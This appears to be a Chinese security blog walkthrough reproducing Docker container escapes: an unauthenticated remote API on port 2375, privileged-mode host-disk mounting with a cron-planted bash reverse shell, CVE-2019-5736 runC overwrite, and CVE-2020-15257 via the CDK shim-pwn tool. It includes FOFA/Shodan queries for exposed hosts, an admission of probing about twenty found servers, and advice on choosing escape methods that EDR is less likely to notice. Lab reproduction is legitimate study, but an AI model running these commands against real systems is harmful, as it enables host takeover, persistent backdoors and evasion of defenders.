1.1docker remote api (2375)

k8s与docker总是并行出现的,那么如果docker出现问题,也将是严重的。这里笔者学习复现一下docker的漏洞,docker远程访问漏洞。
fofa指纹app="docker-Daemon" shodan **port:”2375″ country:”JP” Docker**
测试是否存在漏洞,这里可以看到,fofa出来的并不是都是2375端口,也可能是附近的,都一样,正常是404,然后加个version,或者2376/containers/json出现信息,也可证明存在漏洞
image-20240111103740807

image-20240111103917111

image-20240111104146653

也可以使用命令进行获取到相关容器。

image-20240111141859943

1.2搭建本地漏洞

接下来的操作没有授权,就搭建了一个环境,使用vulhub搭建,很方便。https://github.com/vulhub/vulhub,安装完docker即可

1
2
3
cd /vulhub/docker/unauthorized-rce
docker-compose build
docker-compose up -d

这里我们pull一个镜像,这里报了一个错,Using default tag: latest
Error response from daemon: missing signature key,大概意思是本机docker版本低或者高,镜像版本低或者高,然后镜像和docker不匹配不兼容,那么很好解决,简单解决方法去hub.docker.com,搜一下镜像,然后拉去低版本的,复杂的,更新docker。

1.3利用过程

image-20240111143119711

image-20240111143520435

image-20240111143543713

加上版本号在pull即可,这里不一定必须要拉这个,其他的也一样用

1
2
3
4
5
docker -H tcp://192.168.241.142:2375 run -it --privileged busybox:1.27.0  /bin/sh

#在kali中启动一个有交互的shell,并且是特权镜像
#当操作者执行docker run —privileged时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。
也就是常说的特权模式。

image-20240111144005712

1.4特权模式逃逸

然后在进行逃逸即可。最简单的,挂载主机硬盘。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/ # mkdir bohemian
/ # mount /dev/vda1 /bohemian
/ # ls /bohemian


s.sh
#!/bin/bash
#PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
bash -c "bash -i >&/dev/tcp/192.168.241.128/6666 0>&1"



chmod +x s.sh
echo '*/1 * * * * /bohemian/s.sh' >> /bohemian/var/spool/cron/crontabs/root #每分钟执行一次 文件


或者passwd写用户也是常见的写后门的一种方法


值得一提的是

从对抗的层面上,不建议将逃逸的行为当成可以写入宿主机特定文件 (如 /etc/cron*, /root/.ssh/authorized_keys 等文件) 的行为,应该根据目标选择更趋近与业务行为的手法,容器逃逸的利用手段会比大部分情况下的命令执行漏洞利用要灵活。

以目标 “获取宿主机上的配置文件” 为例,以下几种逃逸手法在容易在防御团队中暴露的概率从大到小,排序如下(部分典型手法举例,不同的 EDR 情况不同):

mount /etc + write crontab
mount /root/.ssh + write authorized_keys
old CVE/vulnerability exploit
write cgroup notify_on_release
write procfs core_pattern
volumeMounts: / + chroot
remount and rewrite cgroup
websocket/sock shell + volumeMounts: /path

image-20240111144206581

image-20240111150221566

1.6总结:

个人感觉在实战中,这个未授权出现的不多了,fofa后,访问了几个20个感觉有五个左右。

2.docker:runC容器逃逸-CVE-2019-5736复现
2.1漏洞原理

漏洞点在于runC,RunC是一个容器运行时,最初是作为Docker的一部分开发的,后来作为一个单独的开源工具和库被提取出来。作为“低级别”容器运行时,runC主要由“高级别”容器运行时(例如Docker)用于生成和运行容器,尽管它可以用作独立工具。像Docker这样的“高级别”容器运行时通常会实现镜像创建和管理等功能,并且可以使用runC来处理与运行容器相关的任务:创建容器、将进程附加到现有容器等。在Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令。

2.2环境部署
1
./metarget cnv install cve-2019-5736

image-20240112143301977

2.3漏洞影响版本
  • runC < 1.0-rc6 (docker < 18.09.2)

  • image-20240112144834221

2.4利用条件

需要在容器内具有 root 权限,才能覆盖runC文件,可能需要配合钓鱼等等手法,让对面的管理员执行命令进入容器,也就是docker run -it ubuntu /bin/bash

2.5利用过程

然后的利用流程是,拉去一个Ubuntu的镜像,默认metarget帮我们拉好了,
然后·docker run -it ubuntu /bin/bash起一个镜像,
另起一个终端,docker ps,看一下containerid
这里起容器的时候注意,要加-it,如果想后台运行的话,也要加-d,不然exit后会退出来。

1
2
3
-d: 后台运行容器,并返回容器ID;
-i: 以交互模式运行容器,通常与 -t 同时使用;
-t: 为容器重新分配一个伪输入终端,通常与 -i 同时使用;

image-20240115153503004

去这里下载一下poc,用go编译,注意这里这个poc不需要将payload放在文件中,利用的时候直接终端中获取。

https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go

模拟获取到容器的权限,然后上传poc。

docker cp cve-2019-5736 7a6c5438f435:/

加一个权限,然后执行要执行的命令就可

./cve-2019-5736 -shell "/bin/bash -i >& /dev/tcp/ip/2233 0>&1"

image-20240115171916605

image-20240115171940936

image-20240115172023103

同时vps监听,这里一定要注意,笔者在第一次测试的时候输错了命令,然后,再去想执行其他命令的时候,会报错,也就是,可能docker-runc这个组件被打崩了。

执行tail -c 100 /usr/bin/docker-runc | xxd可以看到,runc被更改了。

image-20240115172218627

runc崩了,就进不去容器了

image-20240112160934960

2.6总结

漏洞的实现难点在于,需要在宿主主机上执行一下进入可控容器的步骤,这一步实现起来相对比较难。
还有就是,实战中如果真的条件允许的话,runc会被更改,可能会影响业务,这是很难受的。

3.CVE-2020-15257-host模式容器逃逸漏洞
3.1前置知识:docker网络,Docker配置不当导致的容器逃逸

这里我们再次提到NameSpace和cgroups

1
2
Linux 命名空间(NameSpace):实现文件系统、网络、进程、主机名等方面的隔离
Linux 控制组(cgroups):实现 CPU、内存、硬盘等方面的隔离

如果设定了以下配置就会导致相应的隔离机制失效:

其实原理很简单,就是通过权限的变更打破了原来的文件系统、网络、进程、主机名等方面的隔离

1
2
3
4
5
6
7
--privileged:使容器内的 root 权限和宿主机上的 root 权限一致,权限隔离被打破

--net=host:使容器与宿主机处于同一网络命名空间,网络隔离被打破

--pid=host:使容器与宿主机处于同一进程命令空间,进程隔离被打破

--volume /:/host:宿主机根目录被挂载到容器内部,文件系统隔离被打破

当你安装完Docker时,它会自动创建三个网络。你可以使用以下docker network ls命令列出这些网络:

1
docker network ls

结果应如下

1
2
3
4
5
NETWORK ID          NAME                       DRIVER              SCOPE
92d50b6667c7 bridge bridge local
01f9f326e362 host host local
1b3137177ee1 none null local
f646c93ba617 unauthorized-rce_default bridge local

Docker内置这三个网络,运行容器时,你可以使用该来指定容器应连接到哪些网络。

我们在使用docker run创建Docker容器时,可以用--network标志 选项指定容器的网络模式,Docker有以下4种网络模式:
host模式:使用 –net=host 指定。
none模式:使用 –net=none 指定。
bridge模式:使用 –net=bridge 指定,默认设置。
container模式:使用 –net=container:NAME_or_ID 指定。

Docker使用了Linux的Namespaces技术来进行资源隔离,如PID Namespace隔离进程,Mount Namespace隔离文件系统,Network Namespace隔离网络等。一个Network Namespace提供了一份独立的网络环境,包括网卡、路由、Iptable规则等都与其他的Network Namespace隔离。

host模式类似于Vmware的桥接模式,与宿主机在同一个网络中,但没有独立IP地址。一个Docker容器一般会分配一个独立的Network Namespace。但如果启动容器的时候使用host模式,那么这个容器将不会获得一个独立的Network Namespace,而是和宿主机共用一个Network Namespace。容器将不会虚拟出自己的网卡,配置自己的IP等,而是使用宿主机的IP和端口。

容器与主机在相同的网络命名空间下面,使用相同的网络协议栈,容器可以直接使用主机的所有网络接口。

3.2containerd-shim

在进一步了解漏洞原理之前, 我们需要了解一下啊 containerd-shim 是什么?

在 1.11 版本中,Docker 进行了重大的重构,由单一的 Docker Daemon,拆分成了 4 个独立的模块:Docker Daemon、containerd、containerd-shim、runC

其中,containerd 是由 Docker Daemon 中的容器运行时及其管理功能剥离了出来。docker 对容器的管理和操作基本都是通过 containerd 完成的。containerd就是docker前面的那个号。

image-20240117094901172

它向上为 Docker Daemon 提供了 gRPC 接口,向下通过 containerd-shim 结合 runC,实现对容器的管理控制。containerd 还提供了可用于与其交互的 API 和客户端应用程序 ctr。所以实际上,即使不运行 Docker Daemon,也能够直接通过 containerd 来运行、管理容器。

而中间的 containerd-shim 夹杂在 containerd 和 runc 之间,每次启动一个容器,都会创建一个新的 containerd-shim 进程,它通过指定的三个参数:容器 id、bundle 目录、运行时二进制文件路径,来调用运行时的 API 创建、运行容器,持续存在到容器实例进程退出为止,将容器的退出状态反馈给 containerd。

3.3漏洞原理

由于在 host 模式下,容器与 host 共享一套 Network namespaces ,此时 containerd-shim API 暴露给了用户,而且访问控制仅仅验证了连接进程的有效UID为0,但没有限制对抽象Unix域套接字的访问。所以当一个容器为 root 权限,且容器的网络模式为 --net=host 的时候,通过 ontainerd-shim API 可以达成容器逃逸的目的

3.4漏洞影响版本

该漏洞影响 containerd 1.3.x, 1.2.x, 1.4.x 版本

3.5环境搭建

./metarget cnv install cve-2020-15257

metarget实现的命令是
sudo docker run -it –net=host –name=15257 ubuntu /bin/bash

我们用
docker run -d -it –net=host vulhub/thinkphp:5.0.23,起一个带漏洞的也可以

./metarget cnv install cve-2020-15257

image-20240117104127925

image-20240117104149458

这样就可以模拟漏洞利用然后拿root,然后逃逸了

3.6漏洞利用

webshell中也是可判断是否存在抽象命名空间unix域套接字。
cat /proc/net/unix|grep -a "containerd-shim"
出现下图中的信息,表示存在抽象命名空间unix域套接字。

image-20240117144206246

从宿主主机进入到容器中

image-20240117104701059

去到这里下载一下大师傅的工具,https://github.com/cdk-team/CDK/tree/0.1.6,我这里下载的是最老版本0.1.6的,用最新版的报错。
然后先试下如果是webshell的话可不可以,这里经过测试好像是不可以的,会报rpc error: ttrpc: closed
可能是权限问题,不太清楚。

image-20240117143535014

回到宿主主机,将cdk_linux_amd64同样传到容器中,docker cp cdk_linux_amd64 ubuntu:18.04:/
然后加上权限执行,./cdk_linux_amd64 run shim-pwn ip 23333

nc -lvvnp 23333 监听即可。image-20240117144000362

image-20240117144044795

总结

这个漏洞要符合三个条件,一个就是containerd版本,再就是权限的问题,可能不必须要root,笔者测试的话 。webshell的权限确实没成功。最后一个,就是docker容器环境起来的时候要host模式。

致谢

最后感谢您读到现在,这篇文章匆忙构成肯定有错误到或描述不正确的地方,期待业界师傅们指正勘误。本来是研究k8s漏洞的,奈何笔者能力有限,只研究了k8s的未授权简单的漏洞。后续如果有机会的话,在研究其他漏洞吧。

参考
https://bestwing.me/CVE-2020-15257-anaylysis.html  CVE-2020-15257 Docker 逃逸漏洞分析
``

https://blog.csdn.net/w17791476027/article/details/132637785
https://github.com/cdk-team/CDK/tree/0.1.6 工具

https://xz.aliyun.com/t/8925?time__1311=n4%2BxuDgDBD90i%3DD7YD8DlP6e0%3D25Zg2iE%2B%2BbD&alichlgref=https%3A%2F%2Fwww.google.com%2F#toc-5

https://www.mylovekiki.top/?p=1033
https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/Docker/Docker%20%E5%AE%B9%E5%99%A8%E9%80%83%E9%80%B8%E6%BC%8F%E6%B4%9E%20%28CVE-2020-15257%29%E5%A4%8D%E7%8E%B0/

https://www.cnblogs.com/tomyyyyy/p/16275873.html#tid-mkZRym
https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/Docker/Docker%20%E5%AE%B9%E5%99%A8%E9%80%83%E9%80%B8%E6%BC%8F%E6%B4%9E%20%28CVE-2020-15257%29%E5%A4%8D%E7%8E%B0/
https://blog.csdn.net/qq_36197704/article/details/122172877
https://m01ly.github.io/2022/01/04/pt-docker-escape/